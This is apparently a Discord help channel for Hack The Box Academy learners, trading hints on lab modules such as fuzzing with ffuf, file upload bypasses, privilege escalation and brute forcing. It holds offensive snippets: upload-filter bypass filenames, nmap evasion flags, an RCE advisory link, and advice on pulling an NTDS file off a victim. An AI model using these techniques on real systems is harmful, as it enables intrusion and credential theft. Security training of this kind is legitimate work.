modules

[upper vault]

Gothca. Does this mean decompiling a binary, or hooking a process and reading it's memory, is showing the addresses in 'virtual' memory, not necessarily the actual physical memory addresses?

[sterile hawk]

Yeah

[upper vault]

Innnnntersting

[sterile hawk]

Unless you have a kernel debugger open and read the page tables, you won't see physical addresses

https://wiki.osdev.org/Paging

[upper vault]

perfect, exactly the right track i need to read on! I started realizing how much i didn't know today when i was reading on heap allocation and how bins and arenas and sub-heaps work

I guess i never really looked into how 'threading' actually worked either

whew, weird study rabbit hole I jumped into today

@sterile hawk Thx for clearing this up for me!

[sterile hawk]

[whole cosmos]

Hiya, not sure if this is the right place but I'm doing the ffuf module atm, value fuzzing section, and it just handed me like 6 (IP, port) combos that wouldn't respond before finally assigning me one that would.

[feral gyro]

DM

[upper vault]

@whole cosmos did u figure it out?

im doing the same module

[feral gyro]

issue on value fuzzing

[upper vault]

@feral gyro nope, i actually finished that part, but actually just now I'm having some weird issue on the assessment

[feral gyro]

what

[upper vault]

|| extension fuzzing on subdomains only shows .php as an extension ||

cant be right

I did the vhost fuzzing correctly || archive faculty and test||

[feral gyro]

it's correct

[feral gyro]

specify ||indexFUZZ ||

[feral gyro]

||http://test.academy.htb:30483/indexFUZZ||

[upper vault]

|| ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-extensions.txt -u http://{subs}.academy.htb:30715/indexFUZZ||

uh oh, something weird is going on, I was gonna reset my openvpn connection but there isn't one

[feral gyro]

||-w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ||

[feral gyro]

try to add all the subdomains to /etc/hosts

[upper vault]

oh whoops || was using raft-extensions instead of web-extensions ||

[feral gyro]

yep

[upper vault]

nice thx, btw what's the 'raft' mean?

[feral gyro]

idk am not aware

[feral gyro]

compare both side by side

[upper vault]

also, this is still weird, how am I communicating with the server outside of openvpn?

no 'tun0', no openvpn sessions..

[feral gyro]

it's not private

[upper vault]

oh is it not? thats a relief, thought I broke something

[feral gyro]

ok u don't need vpn right

[upper vault]

gotcha

[feral gyro]

ip can be accessed by anyone

[upper vault]

@feral gyro well thought that was it

|| web-extensions.txt || still only brings up php

|| ffuf -w /opt/SecLists/Discovery/Web-Content/web-extensions.txt -u http://academy.htb:30715/indexFUZZ||

[feral gyro]

something u are doing is wrong

[upper vault]

@feral gyro ya, i'm doing something dumb somewhere

[feral gyro]

not this url

fuzz on ||test|| etc

[upper vault]

@feral gyro I have unfortunately || archive and faculty || too

[feral gyro]

yep u need to scan them tooo

[feral gyro]

||u need add all of them to /etc/hosts||

[upper vault]

yup already done

[feral gyro]

then start Fuzzing

[upper vault]

i meant already added to || etc/hosts||

|| <SNIP>

whoops

[feral gyro]

ok then start fuzzing for valid extensions

[upper vault]

still only php

[feral gyro]

send me the code

[upper vault]

|| ffuf -w /opt/SecLists/Discovery/Web-Content/web-extensions.txt -u http://archive.academy.htb:30715/indexFUZZ||

changed to || test. and faculty. too||

maybe reset the target?

[feral gyro]

yep do something like that

[upper vault]

so far so good, reset, got a new ip, added the subs to /etc/hosts

[feral gyro]

i tried it now and got it

[upper vault]

ffs, still only php

hang on ill paste the command

|| ffuf -w /opt/SecLists/Discovery/Web-Content/web-extensions.txt -u http://test.academy.htb:30525/indexFUZZ||

[feral gyro]

dm

[upper vault]

|| ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-extensions.txt -u http://test.academy.htb:30525/indexFUZZ||

[feral gyro]

don't much spoil here

[upper vault]

@feral gyro

[twin raft]

Hi community I'm doing File Upload Attacks - Blacklist Filters.
I need some help I've found the extensions that works also i can upload a file but when i go to the site of my file and pass the parameter the page gives me nothing, someone can help me please?

[feral gyro]

only some of the extensions are capable of code execution

[twin raft]

I have like 7 different extensions accepted, it would be only some of that?

[feral gyro]

try harder

[twin raft]

Ok bro i'll try it

[feral gyro]

if u still find it harder dm me

[twin raft]

Yes bro, i really appreciate that, if I'm already stuck with it tomorrow i'll let you know

[feral gyro]

ok

[livid pier]

Broken authentication anyone?

[rustic sage]

Which task?

[livid pier]

final assessment

[rustic sage]

Still not there :/

[livid pier]

It is torture

the whole module kills me

[rustic sage]

You did already.

For what?

[rose peak]

why hack the box get me Access denied error?! :(

[rustic sage]

@rose peak The main site?

[rose peak]

yeh

how can i solve my problem?

Is it block for Iranian?

oh yeh, is it :(

[rustic sage]

@rose peak First time this occurs? Have you ever got access?

[rose peak]

I change my proxy and it's work :)

now i'm in website

[rustic sage]

@rose peak Good.

[rose peak]

thank for your help

[rustic sage]

@rose peak I didn't. I just listened to you :) Have a good one.

[rose peak]

❤️

[little whale]

Please see your DMs for instructions on how to verify your HTB account.

[rose peak]

hack the box had so many change :||| Wooow

OoooOooo

[compact compass]

@rustic sage sorry to disturb you..on Archetype, its asking for a 'user flag'. Im unsure as to what/where it can be located. I have to root flag..

[rustic sage]

Look under C:\Users\...... for a file called user.txt

[compact compass]

@rustic sage so glad i didnt close that terminal 😅 🥺

Thank you

[fierce pewter]

Hi everyone.

It's been 4 days I'm stuck on a question on the module "Attacking Common Applications". It's the last question of the section "Attacking Common Applications - Skills Assessment I":

"""Exploit the application to obtain a shell and submit the contents of the flag.txt file on the Administrator desktop."""

With the 3 previous question, I know that the application is vulnerable but all exploit I've tested failed... One work but I can only read files but I don't get any information that helps me.

I feel like I'm on the wrong track, can someone help me?

[livid pier]

Hello friend, https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/

[fierce pewter]

Ok thanks for the big hint 🙂 So I need to find what i can't find 😄 But now I it exists 😉

[livid pier]

There is a bigger hint

[fierce pewter]

Ho ! I need to dig more because I can't access this one oO

[livid pier]

Finally!!!!!!

[fierce pewter]

congratz !

[livid pier]

:rainbowwizard:

[livid pier]

anyone finish command injections?

[honest flower]

Hi guys.
in a certain point of "buffer overflow in linux" module i've encountered a problem. Is there someone that can show me the way to modify the behaviour of zsh in kali managing hex string in the way it can behave as bash? If i create a variable with an hex string in zsh and echo the content it is converted automatically in ascii. This doesn't happen in bash where te output is the same hex string entered at the creation of the variable.

[livid pier]

can you just type bash?

[honest flower]

Yes this may be a way

Is there another way maybe modifying some zsh configuration file or using some special characters?

[livid pier]

There might be, I have no idea how to do that, sounds like alot of effort if you know bash will work

[honest flower]

I think that swapping from zsh to bash and vice versa make me lose the variable i've created that i'm using

I have to try

Thanks for the help

[honest flower]

Yes when i move from bash to zsh i lose the variables i'm creating

So i have to find a better solution

[livid pier]

What variables?

[honest flower]

Local variables i'm working with

@livid pier I'am looking for a way to create a variable with the content of an hex string because i have to use this string in it's format several times.
If i move to bash and create my variable there it is not present when i go back to zsh.

[livid pier]

Can you print the variable, copy it in another platform switch to bash then paste it into bash?

[honest flower]

What do you mean with platform?

@livid pier another terminal windows?

[livid pier]

a text editor, anything

[honest flower]

Yes i can do all you are suggesting but it is not very handy!

[livid pier]

HOw many variables do you have, it has to be quicker than editing the zsh config files

[honest flower]

@livid pier in the creation of a shellcode in a buffer overflow for example you have to try several times to enter a string with hex characters to find bad characters that you have to remove. So you have to menage with this string several time in a buffer overflow technic and several time every time you want to use that technic. Maybe is better to find a way to zsh to behave the proper way. At the end modifying a configuration file occurs just one time

[livid pier]

Maybe, goodluck, just a FYI I did that module and didnt need to do any of that

[honest flower]

Is not just that module. I'm looking for a way to make my workflow smoother in general.
But thanks again

[honest flower]

Ok i've found a way.
Reading the man of echo it tells that the flag -E disable the interpretation of backslash escape and that it is set by default.
I don't know why but in zsh shell in kali it is not the defaul but it seems that -e (enable the interpretation of backslash escape) is.
So what i have to do to achieve my goal is to call echo with the -E flag.

[untold kiln]

as i remember, you can switch to CMD and the e switch will work

[honest flower]

What do you mean?

[untold kiln]

in the powershell type CMD and it will switch to dos command line.
and the echo with -e switch will work

[honest flower]

Ok maybe in windows. My question was about a zsh shell in linux.
But good to know!

[untold kiln]

ohhh, sorry about that

[cold monolith]

hey all

just finished the XSS module here.. great one..

a not so nice feedback... in the last exercise.. terrible lab machine performance

the hard thing was not to hack it, but to have the box processing my requests

regarding the material / lessons content, really nice!

[feral gyro]

yesterday i finished it same issue

[fierce pewter]

"Attacking Common Applications - Skills Assessment I" finaly done! Tanks a lot @livid pier !

[honest flower]

Hi guys someone knows how to get the stack size in gdb?

[lilac halo]

hi

i finishes this moduleSTACK-BASED BUFFER OVERFLOWS ON LINUX X86

but cant submit this question answer + 1 Determine the file type of "leave_msg" binary and submit it as the answer.

it is elf 32 i tried it different ways bit it doesnt work

gdb) info files
Symbols from "/home/htb-student/leave_msg".
Local exec file:
`/home/htb-student/leave_msg', file type elf32-i386.

setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8694607c1cba3fb3814a144fb014da53d3f3e49e, not stripped

[honest flower]

@lilac halo try with the file command in bash

@lilac halo i'm still not there however

@lilac halo can you help me show me the way to find the stack size?

[lilac halo]

Yes

Type info proc all in gdb

[livid pier]

any command injection finishers?

[lilac halo]

It is not working

[mild grove]

Hello does anybody solved blind XXE ?

[daring tusk]

Hey is there any way we can retrieve our VPN key so we can use our own VM? I cannot find the key anywhere.

[civic wraith]

can anyone help me with the module of Linux Privilege Escalation

i am in the priviliged groups sections

i need to grep for a flag at /var/log

i have used "flag" "htb" , etc

and nothing pops up

i dont know what to grep for

[unique wharf]

how about anything in the folder * @civic wraith

[scarlet finch]

@lilac halo @honest flower

https://github.com/B1rby/Stack-Based-Buffer-Overflows

I did a writeup about it

check it out

[scarlet finch]

https://github.com/B1rby/Stack-Based-Buffer-Overflows/blob/Skill-Asessment/Skill Asessment.md#question-1

[vestal spruce]

Anyone happen to know why this is failing?

Nvm figured it out, if anyone runs into this, here ya go: https://stackoverflow.com/questions/51062160/sc-create-binpath-error

[rustic sage]

Found it?

[vestal spruce]

Though I cannot read the file specified within the module even though I am part of the admin group now?

Anyone know why this might be happening?

[west canopy]

@civic wraith DM me if you need a nudge

[vestal spruce]

Not only am I local admin, but I have sebackup but still getting access denied when I try to read OR copy the flag.txt file

[small sluice]

Is anyone able to offer a hint for the second question is Skill Assessment - Website for Login Brute Forcing? I brute forced the admin panel but the creds do not seem to work even though hydra says they are valid. Also, should the password and login be a pair? example(Login - Root:Um9vdA== Password - root:cm9vdA==)

[small sluice]

Not sure if it matters but is powershell running as admin?

[vestal spruce]

It is yeah

[honest flower]

@scarlet finch great 👍

Thanks

[honest flower]

It is usually placed at the bottom of the module page near the questions

[civic wraith]

i solved it, thanx

[lament hollow]

Anyone online done the footprinting module. I have a question about NFS results from NMAP.

[bright aurora]

Has anyone completed the repeating requests module in the using web proxies section. I'm lost on finding the flag.

[feral gyro]

check on some other dirs

[digital basalt]

Is it possible to connect to HTB Academy over open VPN from my own machine? I can do it for the main platform but strugfling with how to do it for the academy platform?

[rustic sage]

Whenever you can AND need, there is going to be a button at the bottom next to the question to download the VPN key

Not all modules require VPN. VMs do, Dockers don't

[digital basalt]

Thanks, I'll look out for that

[rustic sage]

Module: Broken Authentication
Section: Bruteforcing Usernames
Question #2: Find the valid username for the web application based at subdirectory /question2/.
Anyone can assist?

[feral gyro]

check the source

after submitting a valid username

[frigid quail]

Hello i'm on the module windows file transfer , after uploading the zip i'm unable to connect via rdp to the box

[rustic sage]

I saw that hint and got to see that there is a ||wronguser|| piece of data showing the last attempt. But how do you fuzz this kind of thing?

[feral gyro]

manually check all the responses use ||top usernames from seclists||

[rustic sage]

This is what I am trying to avoid :/

[feral gyro]

i think here burp filter can be used but am not much aware

[feral gyro]

i tried it again , u can use burp to match the response

[rustic sage]

Great. Now I only need to know how to do that from the command line :P

[noble stirrup]

Will learning the php code be helpful? So far I've been only looking at them briefly, just memorizing their syntax so I can recognize when I see one. Is it actually helpful to learn this? Since so far my search history has been filled with php one liner shells, and I feel like its one of those 'niche' details which aren't needed as much. Am unsure though

[civic wraith]

i have a question about Linux Local Privilege Escalation. I am in the last excercise (skills assesment)

i found that sudo version 1.8.31 have a vuln, but the exploits doenst work

i have tried several and it returns always: Segmentation fault (core dumped)

please give me a nudge, do I insist with this vuln, or I am supposed to look for another one?

[urban flume]

'shell.php.\.jpg'
'shell.php..jpg'
'shell.phps.\.jpg'
try this

[rustic sage]

||-fr 'wronguser'|| did the trick

with ffuf

[exotic siren]

im new..

[rustic sage]

Hey - what do you want to hack?

[honest flower]

I've downloaded once the vpn key like inturbidus explain you before and i use it in every module. I'm always using my vm to go through the academy modules using always the same vpn key

[exotic siren]

yes

[digital basalt]

That's handy to know , thanks!

[rustic sage]

What are you up to?

[exotic siren]

hack someone

[rustic sage]

Like who? Like his social media account?

[exotic siren]

yes

[rustic sage]

@sterile hawk Help?

[sterile hawk]

wat

[rustic sage]

Someone is being foolish

[bright aurora]

I've been looking through all the directories that I can find but I haven't been able to find the flag yet. re there any significant directories that I should be looking for?

[feral gyro]

find / -type f -name flag.txt 2>/dev/null

try to url encode

[bright aurora]

That helped me figure it out. Thanks for your help!

[digital basalt]

Having some trouble at the end of the "Network Enumeration with Nmap" module. "Firewall and IDS/IPS Evasion - Medium Lab" I can't work out what it is looking for me to do. I can see that port 53 is filtered, do I need to spoof the source IP address and/or port? I've tried an ACK scan but that didn't give me any more details...

[acoustic owl]

Think of the possibility of using scripts in NMAP. They may also work if ports are filtered.

[bronze lagoon]

I'm on the Archetype machine and I keep getting "The remote server returned an error: (405) Method not allowed." when trying to download nc64.exe from my server while listening on 443

Oh nvm I got past that

[jaunty kindle]

Hi, if I unlock a module, will I need to unlock it again and spend cubes every month until I finish it?

[scarlet finch]

no

[jaunty kindle]

So, if I get a platinum sub and unlock a tier 4 module, at the end of the month I can switch to a silver sub and still have access to it?

[quaint marsh]

yes

[jaunty kindle]

Oh ok, thanks for the help 👍

[hollow hearth]

hello colleagues, I am in the ffuf module, my query is if the boxes have pwnbox installed or should it be done manually? since following the steps I can't run the tool, any suggestions? and thank you for your collaboration always!

[unique wharf]

Hi Guys - Can I get some guidance in my Nmap scan: I am working on the Enum Network Module and on the Hard Firewall lab.
nmap -Pn -F --disable-arp-ping -n --script dns-zone-transfer, --source-port 45398 --initial-rtt-timeout 55ms --max-rtt-timeout 100ms --max-retries 1 -T1 -sU -sV -sA -O -vv 10.129.120.212 -A --packet-trace -oA HTB/Nmap/scans/10.129.120.212

[west canopy]

@unique wharf DM me if you need a nudge

[rustic sage]

The only way as a free user is to clone it from Git.

It's supposed to be pre-installed but it's not.

Therefore:
git clone https://github.com/ffuf/ffuf
cd ffuf
go get
go build
./ffuf
@hollow hearth

[woven copper]

hi everyone i am in the Server-Sides attacks skill assessment and i have tried fuzz all input parameter looking for SSTI or SSRF if someone could give a hint , thanks

[livid pier]

[hollow hearth]

ty bro i go to try

[rustic sage]

The reason why you could not install it with apt is because as a free user you don't have access to the internet, except to GitHub.

[hollow hearth]

ok ty bro

[rustic sage]

Module: Broken Authentication
Section: Bruteforcing Usernames
Question 3
Did someone get the answer using the timing.py script? I've made some changes to it but I am getting similar response times for all user names :/

[rustic sage]

Solved. Part of the header was missing.

[fossil crescent]

For the Broken Authentication: skills assessment, I know how to "switch" to different users, having found 2 thus far (beyond the user I created), but there's no admin panel that I can find, suggesting either (a) I'm NOT in the right user (and at a loss how to find said user) or (b) I'm supposed to find an admin panel (although dirbusting proved unfruitful thus far). Can anyone DM me a nudge? Thx.

EDIT: Still working on, but got some much needed nudges to at least keep trying to progress. Thx @livid pier 🙇

[livid pier]

You got it!

[hollow hinge]

Hey

bro i dont know why target IP is not working

in the LFI module

even i had connected the VPN

[rustic sage]

wanna merge exe in png or jpg ;-;

[latent remnant]

hello 🙂

i wanna learn hacking :))

[livid pier]

Youre in the right place

[latent remnant]

yaay

[rustic sage]

Welcome!
https://academy.hackthebox.com/

[latent remnant]

but i dont wanna use it in bad stuff

whats that

[livid pier]

You good bro>

[rustic sage]

What?

[latent remnant]

the liink

[rustic sage]

The place you want to be. HackTheBox academy. Learn how to hack

[latent remnant]

okay so if u am gonna learn there then what is the importance of this server

i dont unerstand anything

[rustic sage]

Here you can ask questions and get help

[latent remnant]

ok

[rotund mango]

How do I find the answers to the startup questions ?

[scarlet finch]

u think

[rotund mango]

...

[raven saddle]

What's the start up question? What are you working on?

[rotund mango]

Meow mission

[pulsar jackal]

Is HackThebox free?

[scarlet finch]

Active challenges and active boxes are free. But u wont be able to access the retired challenges and the retired boxes. Also u wont be able to do retired fortress, retired endgames and vip starting point boxes

[pulsar jackal]

What are retired things?

[scarlet finch]

It s like the old challenges, boxes etc. And with the retired things u won t have point thanks to them

[pulsar jackal]

Ok.

[scarlet finch]

But they are really interesting for practice

[verbal jay]

Anyone having trouble with the xss section from the introduction to web applications module?

Cant seem to connect to the target

[scarlet finch]

Like it s better to do 10 retired boxes about AD than a really hard boxes that u wont be able to do because u dont have the required knowledge

[verbal jay]

Nor my machine nor the pwnbox

[scarlet finch]

I assume that u are connecting with a vpn ?

[verbal jay]

Not really, those are internet faced machine afaik

Also not working with VPN as i suspected

[hollow hearth]

when trying to use the go command in both it gives me "time out"

[pulsar jackal]

Where can i find the .ovpn file on pwnbox?

[pulsar jackal]

How can I get it on the pwnbox though

[hollow hearth]

I think that is where you get the vpn config

[rustic sage]

Give it another try. Just tried it again and it works.

[hollow hearth]

ok

[junior elm]

How can I open an image captured by Wireshark?
My problem is that I don't know how to open a jpg that was captured by Wireshark using the ftp port. In the first image you can see the client request an jpg image. Then there is transfering a lot of FTP Data. Then in the second image you can see the Transfer is completed. But how can I open the image? I would be very happy if somebody could help me!
https://pasteboard.co/HZmJNhA86YyP.png
https://pasteboard.co/SgN5WQxWo056.png

[hollow hearth]

you can tray import objetc?

*try

[blissful verge]

Hi all, quick update. We just deployed VPN region switching on Academy with new servers in the US region (previously we only had pwnbox and targets spawning in the EU region) you can go here to switch back and forth if you’ve been experiencing any slowness https://academy.hackthebox.com/vpn you can also switch between TCP and UDP

[junior elm]

Thank you

[junior elm]

It isn't possible to export ftp

Only http, Tftp and some others

[livid pier]

anyone here can help with command injections?

[rustic sage]

Ask directly

[drifting knoll]

pls careful with spoilers

[rustic sage]

oh

yes sorry my bad

can you guys help me with this question?

[acoustic owl]

which module?

[rustic sage]

ehh Windows Fundamentals

[acoustic owl]

I have not completed this module yet, but I see you have credentials. Log in via RDP and open the PowerShell.

|| Get-WmiObject -Class win32_OperatingSystem | select Version,BuildNumber ||

[rustic sage]

yes thats what i have done

but i cant find it

wait

[acoustic owl]

What do you get as an answer?

This command may also help:
|| Get-ComputerInfo -Property OS*,Windows* ||

[acoustic owl]

https://fantashit.com/the-term-get-wmiobject-is-not-recognized/

[rustic sage]

nope

I deleted my account for some reasons but i want to ask, i am born in 2007 can i put my real age?

or i cant get in?

[median meteor]

Machines on HTB module getting started last task is very slow, when accessing web or something 😦

nvm will try with VPN key

[high zinc]

Just swinging by here - did you get help with this already or ?

[acoustic owl]

I just tried.The command || Get-ComputerInfo || works and returns the desired result.

[livid pier]

How I feel doing command injections

[rustic sage]

ty guys

i am sad now :{

[willow nimbus]

how is it on academy pwnboxes im suppsed to edit /etc/hosts and save the file but im not provided with a sudo password 🙃

working on the information gathering-web edition one on the active infrastructure identification and im getting so stressed out

[livid pier]

Check the desktop, creds file

[willow nimbus]

heck ya! will do

ohhh thanks 😂 i got it

[rustic sage]

eh

guys its 11:57 should i wait until tomorrow or i just can wait 3 min?

[high zinc]

😂

[acoustic owl]

The easiest way is to install VMWare or VirtualBox and then install Kali or ParrotOS there. Then you can connect with VPN and use your own software. As a free user you can only start a pwnbox once per day.

[novel matrix]

You are my hero ❤️

[sudden lotus]

im at the linux beginners module doing the ssh questions but none of the ips are working i keep getting port 22: no route to host error

[livid pier]

you on pwnbox?

[sudden lotus]

nope i was on my own virtualbox

[livid pier]

Did you connect with the vpn?

[sudden lotus]

yeah i set it up still nothing

[sudden lotus]

i figured the problem i kept closing the terminal while the vpn was running

[feral gyro]

sudo nohup openvpn ~/Downloads/academy.ovpn &> /dev/null

[rigid onyx]

Anyone knows how to fix academy.htb add to /etc/hosts issues?

[feral gyro]

?

on ffuf

[rigid onyx]

Anyway what I did that I think is wrong is grabbing the ip from hackthebox.com or something, the website with the module on, and set it as my SERVER_IP for academy.htb. Was there a way of finding something that won't resolve like academy.htb's IP? I also played around with the instances IP and port I was given and attached that as the SERVER_IP even set up reverse connections for some... Nothing works

[feral gyro]

on which module

[rigid onyx]

ffuf

[feral gyro]

when u try to access it specify the port on browser

[rare jackal]

Hi, I'm on the question Information Gathering module. Question Submit the FQDN of the nameserver for the "inlanefreight.htb" domain as the answer. But for this, I keep getting ** server can't find inlanefreight.htb: NXDOMAIN

[rigid onyx]

I have something similar but where you get the ips from

[rare jackal]

I added hosts with the IP but still the same... does anyone know if this is a bug?

[rigid onyx]

yeah I did that well tried port 80 and made my way up lol

[feral gyro]

send me ur ip

let me check

ur spawned target ip

[rigid onyx]

doesn't look like a safe practice and im normally diligent about that but

oh ok

lemme go back and see

[feral gyro]

am not asking ur ip brother lol

🤣

[rigid onyx]

loll I was like "woo wait a sec..."

on a pwnthebox server no less

64.227.39.88:31000

so 64.227.39.88 needs to be the one added to my hosts file and I use the port for ffuf and http access only? Like grabbing the hackthebox.comip was a mistake and was lucky to get to 70% completion with that ip set?

[feral gyro]

is it working now

[rigid onyx]

Lemme check, I haven't tried yet as am baffled that it was that simple

ping is not working so I do need the port number in my hosts setup?

[feral gyro]

no

ping will not work

[rigid onyx]

Dunno what is not working then

I added both admin.academy.htb and academy.htb with the ip I was given no port then ran ffuf and failed then ping failed obviously

[feral gyro]

precisely which section are u in

[rigid onyx]

Filtering results

[feral gyro]

show me the command u ran

[rigid onyx]

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://64.227.39.88:31000 -H 'Hosts: http://FUZZ.academy.htb' -c -fs 900

[feral gyro]

it's wrong

[rigid onyx]

yeah just figured the fs 900 was wrong as it was from before

maybe i can now try with the domain name as it should resolve

[feral gyro]

yep

[feral gyro]

read the section again and again

[rigid onyx]

Oh believe me I did and found nothing on getting the initial ip as you start your instance at the end, that is after you are prompted to do sh 'echo "SERVER_IP academy.htb" >> /etc/hosts" so did not make the link and immediately went to hunt for that ip lol

[feral gyro]

try harder

[rigid onyx]

yup but anyway I got my answer even if it's not working I know it will eventually work as I know what I did wrong so thank you for that! I was starting to write non-sense in that hosts config file setuping reverse dns lookups and stuff

I'll buy you a beer if I ever see you or with donation platform id in private.

Im out! And I am serious btw. Ill stay logged in case you want a beer. Sleeper timez for a happy work day. im on the threshold of pulling an all nighter or go to sleep late still...

[feral gyro]

how u got it

[dull bear]

Hey guys

How do we get the sudo password for pwnbox

I don’t see any option in the academy

[livid pier]

YAYAY

[livid pier]

Look on the desktop

in a file called credentials

[ebon wigeon]

@abstract hollow

[junior elm]

I'm trying to cracking the following hash by john, but I don't know how

important.zip/index.html:$pkzip2$1220aea296b969020440ae96b97619aa34c273258abebd9babb4c7a84d3218ae23d7c370562a14cb0bf5911be198b717622dd5d1a909bd5c139145f078e105097528633ae86c7c04fd92ec76a6bb82c6cc5631089b9be7026011a7858ac53e4055d4ff593198f55663cbbc5ed1ca371270bb8f8d2c9a5a907e70100079b282e2c8bd76ce872e0674aaea3e258b009a13bfc6d298bc8c199be6fcef19eead3c7c9537f02f4656ff28012ca01ddd67b311ded9c8d154ef0f3eb60d29a435$/pkzip2$:index.html:important.zip::important.zip
I would be very thankful for help!

[drifting knoll]

which module?

[drifting knoll]

where did you get this from?

[dull bear]

Thanks

Hi guys, what are some of the things you’d to transfer files from victim Windows machine to attack Linux machine other than smb, ftp and netcat

I’m struggling to transfer ntds file to my machine, for some reason netcat doesn’t preserve the integrity of the file

[untold hedge]

hi guys, I am stuck on the last section for windows fundamentals. Is anyone willing to help with one of the questions? I am stuck, thanks

[feral gyro]

powershell Invoke-WebRequest

[rustic sage]

👋

?

Who change my name?

[low girder]

@rustic sage your name might have been changed cuz ur name didn't follow #rules

[blissful verge]

Hi all, Happy Friyay! Just popping into let you all know that we have recently made some changes to the Academy platform to address an issue with duplicate usernames and make way for some new features coming later this year. You may have noticed your username changed (i.e. if your username was just john you may now be john-18). If you do not desire this user name you can navigate to the account settings & change it to something custom.

[main vapor]

Can't you also have a change on the number of cubes we have? For example, if I owned 100 previously and I do not desire that number, it turns into 1000?

[livid pier]

Any updates on when some of these new mods are going to be released?

[gloomy tangle]

Hi everyone. Could someone help me with the question "Which employee is suspected of performing potentially malicious actions in the live environment " within the module INTRO TO NETWORK TRAFFIC ANALYSIS in the "Packet Inception, Dissecting Network Traffic With Wireshark section? I am stuck 🤦‍♂️ Thank you in advance.

[livid pier]

you still need help?

[surreal rain]

Hey everyone. Please do not DM staff or anyone else asking for their help if you do not have their permission. It is rude and often time cause them to get really annoyed with you.

[novel matrix]

Monday, 14th February, from 7:00 AM to 8:00 AM UK Time (GMT0/UTC), we will be undergoing planned maintenance on 50% of EU-ACADEMY VPN servers. Users impacted can switch their assigned VPN server through this page: https://academy.hackthebox.com/vpn.

The only impacted modules are those that contains fully fleshed out machines that require a VPN connection to access. Docker instances across the majority of Academy Modules are, of course, not affected and can be played as usual without further changes.

Further such maintenance will occur on Wednesday during the same timeframes as long as the first planned maintenance runs successfully on the controllers.

[gloomy tangle]

Yes! send you a PM

[rare jackal]

Could someone please help me with INFORMATION GATHERING - WEB EDITION module..?

I am keep getting ** server can't find inlanefreight.htb: NXDOMAIN

Can someone please check if this Information gathering web edition module has been broken or something? Seems lik

[livid pier]

What section?

[rare jackal]

Thank you for the reply. It's Active Subdomain Enumeration.

[livid pier]

you added it to /etc/hosts?

[rare jackal]

yes

so added the target ip inlanefreight.htb there..

seems like there were lots of questions about this above in this channel

[livid pier]

What command are you running?

[rare jackal]

nslookup -type NS inlanefreight.htb

[livid pier]

start there and think about if you can replace the zonetransfer and nsztm1.... with what you are interested in

Or are you still on the first question?

[compact surge]

If anyone has a second, I could use a push on a specific part of Javascript Deobfuscation

I feel like I'm staring right at the answer but it says it's incorrect

[livid pier]

What section?

[compact surge]

The deobfuscation portion

I've deobfuscated and prettified secret.js

I literally see the variable that I believe is the answer, and It's refusing to accept it.

[livid pier]

DM me and send it

[compact surge]

Wondering if I'm formatting the answer incorrectly

Ok

[rare jackal]

Could someone please help me with Find and submit the contents of the TXT record as the answer.?

[sullen hill]

hey i'm trying to do the academy but the vpn keeps resetting on me?

[livid pier]

Happy Friday!

[lament hollow]

Happy Friday

[manic ermine]

Hey all, I'm hoping for a helping hand with:
Module: broken authentication - bruteforcing cookies
Question: Tamper the session cookie for the application at subdirectory /question1/ to give yourself access as a super user. What is the flag?

I've decoded the cookie and played around with as many roles as I can think of (bunch of username wordlists in a simple python script), but can't get any different response. There was some mention in chat about "enumerating roles" but I have no clue what that might mean.

EDIT: Literally seconds after posting, one of the user wordlists from seclists (in the passwords directory) landed the correct role required. It is a relatively basic one which can be intuited from the question so it shouldn't need a full script (I'm just thick haha).

[feral gyro]

it's a bit tricky, answer is itself on the question

[manic ermine]

I've solved the first one but no clue how to decode the second questions token?

[feral gyro]

Log in to the target application and tamper the remember-me token to give yourself super user privileges. After escalating privileges, submit the flag as your answer

this one ?

[manic ermine]

Yep, thats the one...I've tried every tool under the sun to decode it and find something sensible and can't

[feral gyro]

analyze %2B this

what does it mean

[manic ermine]

%2B is URL encoded "+"?

[feral gyro]

cool

u are now on the right track

[manic ermine]

Hmm, is the token a cookie?

[feral gyro]

yep

try some 🪄

[shrewd sorrel]

Im trying to do the Shells and Payloads in academy
last module, when trying to get a shell on host2 (blog.inlanefreight.local)
I imported 50064.rb on msfconsole
but when trying to use it Im getting this error (NoMethodError undefined method 'split' for nil:NilClass)

[acoustic owl]

Have you set the values for RHOST, USERNAME, PASSWORD and VHOST?

[lethal atlas]

the vhost is where most get hung up.

[rustic sage]

Hi there 🙂
I'm currently stuck at Task 2 (case3) of "SQLMap Essentials" - Running SQLMap on an HTTP Request.
I was able to solve every other task, except this one. I copied the cURL thingy, I tried it with a file containing the request, I .. etc.. I'm totally out of ideas.
The strange thing is, that sometimes it works, but in a way, that I get the content of "flag1" although I have /case3.php in my request.
Anybody else had this expereience?
Anyways, any help would be really appreciated in solving this one...
There just doesn't seem to be a table "flag3" anywhere..

[west canopy]

@rustic sage feel free to DM me

[rustic sage]

Thanks @west canopy 🙂

[west canopy]

@shrewd sorrel My memory might be wrong, but I think i remember going in and manually editing the script and changing the payload that way

[acoustic owl]

Case3 - Cookie value (id)
You have to set a cookie

[rustic sage]

Thanks, I already got help(ed) 🙂

[shrewd sorrel]

nervermind, i set VHOST and it worked. Thanks

[acoustic owl]

A web server can be configured to provide different content for different hostnames. This is called "virtual hosting" and is useful for providing many websites on one web server.

[green skiff]

Hello everyone,
I couldn't solve the "Blacklist Filters" question of the "FILE UPLOAD ATTACKS" module. Is there anyone who can help?

[green skiff]

I found the answer.

[stiff stream]

Stuck at command injections - skills assestment, I believe I have found the injection point, and get the malicious code message from burp, but having trouble excecuting anything, anyone willing to help?

[fossil crescent]

Feel free to DM

[zenith parcel]

the docker for Login Brute Force Service Auth module is not starting. How can I get this reported/fixed to admins?

[sullen hill]

hey i'm doing "Web Requests" and the documentation is referencing PHPSESSID for the cookies, but the target website is using 'auth' instead. Are these different technologies?

lol nvm i figured it out

[violet sparrow]

hello, can someone give me a hand?

I'm working on the Flow Control - Loops exercise from the Bash module, but getting strange error in the result:
*** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. bad decrypt 140125355476352:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:

